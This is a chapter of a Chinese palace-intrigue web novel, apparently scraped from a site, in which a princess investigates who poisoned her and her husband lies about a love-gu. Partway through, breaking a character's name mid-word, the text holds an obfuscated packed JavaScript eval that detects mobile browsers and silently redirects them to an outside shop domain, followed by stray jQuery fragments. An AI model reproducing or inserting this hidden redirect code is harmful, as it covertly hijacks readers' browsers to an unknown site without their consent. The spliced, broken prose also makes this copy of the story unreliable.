若另一种毒也是楚锦绣所下,再下痛骨散便显得多此一举,因为隐毒足以替代痛骨散,所以,隐毒并非楚锦绣所下,而是另有其人。
她猜,楚锦绣下痛骨散的目的只是造成隐毒毒发的假象,毕竟两种毒在外人眼里都是疼,只有中毒的人知晓疼痛是不一样的。
如此,隐毒应是在痛骨散之前就被人下在她体内,楚锦绣早就知晓才会提早备下痛骨散,谢倞祤显然也是知晓的,所以当日才会与她同房。
萧安乐越想越觉得这种可能性更大,她掩下心头震动,捂嘴轻咳一声,缓缓解释道:“毒既已查出,下毒之人自然也能查出,此事我已交由相爷处理,妹妹难道未曾听相爷提起吗?”
楚锦绣干笑:“这倒未曾,但若真是我春锦园的人所为,我定不会轻饶。郡主如今身子可好些?”
算时间应到蛊发的日子了,难道情蛊变成了生死蛊?如今她被困在春锦园,韶光院又被谢倞祤换成了他的人,碧珠这颗棋也暂时动不了,她竟是一点消息都打听不到,害得她不得不兵行险着,让潋秋去寻楚仁打听一二。
“嗯,是好些了。”
萧安乐垂眸,敛下眼底情绪,看来前几日她毒发的事儿,楚锦绣并不知,定是谢倞祤让瞒下的。至于为何要瞒着楚锦绣,是怕她再生祸心吧。
从头至尾,谢倞祤的反应都不像知情者,楚锦绣应是瞒着他下的毒,不过既然她都能查出,谢倞祤定是比她更早就查出来了。所以,他才派卫徵看着楚锦绣。
对他这种不痛不痒的处置,萧安乐不免有些失落和酸楚,他在袒护楚锦绣,那她所受的罪算什么?
萧安乐抚了抚鬓发,话锋一转意有所指道:“不过我听相爷说,当日我并非单单只中了痛骨散,那日我虽不甚清醒,但也知晓妹妹定请了大夫来的,那大夫竟连一种毒都未号出吗?这医术……”
楚锦绣闻言,一张脸白了红红了白,她咬着牙暗恨当真是近朱者赤近墨者黑,没曾想看起来软弱可欺的萧安乐竟也学了谢倞祤的嘴毒,这话让她如何接?
楚锦绣干笑一声将话带了过去:“是吗?还有别的毒?阿祤可有说是何种毒,又是谁下的?”
“妹妹不知吗?与痛骨散症状相似的毒这世间也没几种,相爷说已寻到化解之法。”
“不可能。”楚锦绣登时脱口否认,话落才意识到萧安乐这一番虚虚实实,便是想从她口中套话出来,而她竟然还中了圈套。
楚锦绣又气又悔,稳住心神找补:“我是说不可能吧,怎可能有人下了一种毒,还要再下另一种?”
“就是说呢,偏解毒的法子还非得与相爷……”萧安乐羞涩的抿了口茶不再说了,心下却知自己猜对了。
楚锦绣果真早就知晓隐毒的存在,隐毒不是她下的,会是谢倞祤吗?且还有至关重要的一点,隐毒是只有谢倞祤才能为她解,还是说旁人也可以?若真只有谢倞祤才能解,他的嫌疑便是最大了。
她又想起刘九渊那日所言,谢倞祤娶她只是为了她滇国郡主的身份,别被他利用了都不知,所以隐毒……是为了更好的控制她吗?她不信,谢倞祤会为了控制她,做出下毒这种卑劣的事来。
“是吗?还有这种毒,我竟闻所未闻,那郡主可有再毒发?”
萧安乐的心彻底凉了下来,她果断道:“不曾。”
楚锦绣未否认,更未问非得与谢倞祤做什么,显然她清楚化解的法子,这也从侧面验证了解毒果真只有谢倞祤才行,所以,毒是谢倞祤下的吗?
这让她如何相信!
楚锦绣闻言却是浑身一僵,不曾?情蛊竟真的变成生死蛊了?她强颜欢笑道:“那便好。”
“是啊。”萧安乐意味不明的应了声。
楚锦绣似是很希望她毒发啊。她若毒发于她有什么好处?不过再问也问不出什么了。
萧安乐起身又道:“今日叨扰妹妹许久,天色不早,我便先回去了。”
“郡主客气,郡主今日来看我,我心中很是欢喜呢。潋香代我送一送郡主。”
“是。”潋香恭敬行礼。
萧安乐看了眼潋香,那日她出言不逊被谢倞祤打了板子,听说养了许久,如今看来伤应是都养好了,她倒是好了伤疤还记得疼,整个人内敛沉稳许多。
萧安乐方走,楚锦绣便扬声唤道:“潋秋,备水沐浴。”
有卫徵守着,她很难找到合适的时机部署安排她与恩主的大计,唯有沐浴时才有片刻空隙,眼下她急需确认情蛊到底有没有发作,潋秋应已见过楚仁了。
浴室内水花被拍打溅了一地,楚锦绣气急反笑,好个萧安乐,她当真小瞧了她,竟被她给骗了。楚仁已打听清楚,蛊发了,情蛊还是情蛊,楚锦绣长出口气,万幸一切仍在掌控之中。
护国寺
西寮房小沙弥的尸体在后山被寻到,尸体虽已腐烂,但还是能看出致命伤来自于从左颈斜劈而下,至右锁骨处的刀伤。
谢倞祤拧眉已看出端倪:“这一刀……不是寻常会武之人所为。”
他只说了一句,卫青便已了然,寻常人用刀往往虎头蛇尾,起手重收手飘,劈砍时手腕会不自觉转动,入肉越深,拖出的口子就越宽,尾处也越浅。
谢倞祤伸手沿着那道刀痕缓缓划过:“可这一刀……从头到尾深浅一致,角度未变,收刀也干净利落,没有半分抬腕卸力的痕迹,明显是军中刀法。”
他顿了顿,又补了一句:“还是千锤百炼过的那种,出手即取要害,绝不浪费第二刀。”
只有长年累月在校场上对着木桩砍削,将动作练成肌肉记忆的人,才能劈出这样一刀。他不在乎你疼不疼,也不在乎刀口好不好看,只在乎一件事,一刀下去,你再也站不起来。
但仅凭此,并无法断定护国寺中就藏有私兵。护国寺举办法事,本就有士兵驻守戒备,或许是驻守的士兵所为也说不定。
只是一个小沙弥是如何得罪了将士,又得罪到了何种地步,以至于被杀害?
“继续查!”
谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17595828|202110||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
倞祤回府时已是深夜,他以为萧安乐已经睡下,没想她还在等他。
“怎还未睡?”谢倞祤身上还残留着沐浴后的湿气。
“嗯,有些事想要问你。”萧安乐拿了帕子替他绞着湿发,从楚锦绣那里已问不出更多,而她那些疑问,谢倞祤定然都能解答,她不愿意与他耍那些心机,思索再三决定单刀直入。
谢倞祤将人拉入怀中,坐在自己膝上:“何事?”
“我……会如我母亲那般每月发作吗?”萧安乐咬咬唇问。
谢倞祤身体一僵,圈着她的手不觉紧了紧,他对上萧安乐的眼睛,似要将她看穿。
会吗?这辈子至死,都不爱他?
一想到这种可能,他的心便闷闷的疼,眼中的光不觉暗了下来。
他的沉默让萧安乐心中一惊,难道她真的会同母亲一样?“会吗?”萧安乐不确信地又问。
“不会。”这次谢倞祤答得斩钉截铁,他不会让这样的事情发生,他会让她爱上他,无论付出何种代价。
“你可查出我到底中的是何种毒?”
谢倞祤张了张嘴,终是艰难开了口:“情毒。”
情蛊一事,他没打算一直瞒着她,只是让他如何说得出口,说她被自己的父亲下蛊,说纵使她不爱他,仍要忍受月月与他欢好,直到爱上他的那一天!
情毒?萧安乐蹙眉:“有这种毒?可能解?”
“嗯,只是需要的药材多且稀有,目前尚未找全,待找全了便能做出解药。”第一句谎话说出口,剩下的便也没那么难了。
“我母亲与我一样也是情毒。这种毒既如此隐秘,解药也难配置,想来寻常人定是接触不到,你可查出是谁给我下的毒?”
“尚未。”
“春锦园的人你都盘问过了?也未查出什么吗?”
“嗯。”
萧安乐掩下眸中失落,心下清楚谢倞祤对她撒谎了,她不死心地又问:“护国寺祈福那次,打晕我的人真的是赵府家丁吗?”
“自然,今日怎么了?别胡思乱想。”谢倞祤避开萧安乐的视线,将她手中的帕子拿起,放在一旁,“天色已晚,睡吧。”
“今日我去春锦园,同锦绣说了会儿的话,我同她说起了中毒这事,你猜她怎么说?”萧安乐试探道。
“锦绣她如何会知晓,今日我有些乏了,睡吧。”谢倞祤将人搂进怀中,嗓音疲惫。
“嗯。”
两人上了榻,第一次背对而眠,萧安乐想了一宿直到天快亮时,才沉沉睡去。等她再醒来时,天光早就大亮,她习惯性地摸向床侧,没有想象中的冰凉而是紧实的腰腹。
是谢倞祤,他今日未去上朝?
萧安乐的睡意一下去了大半,她睁开眼正对上谢倞祤的目光。
“现在什么时辰了?你怎么未去早朝?”萧安乐睡眼惺忪,嗓音透着刚睡醒的沙哑。
“嗯,今日告了假。你可还记得,今日是何日?”谢倞祤眉目舒展,心情看起来不错。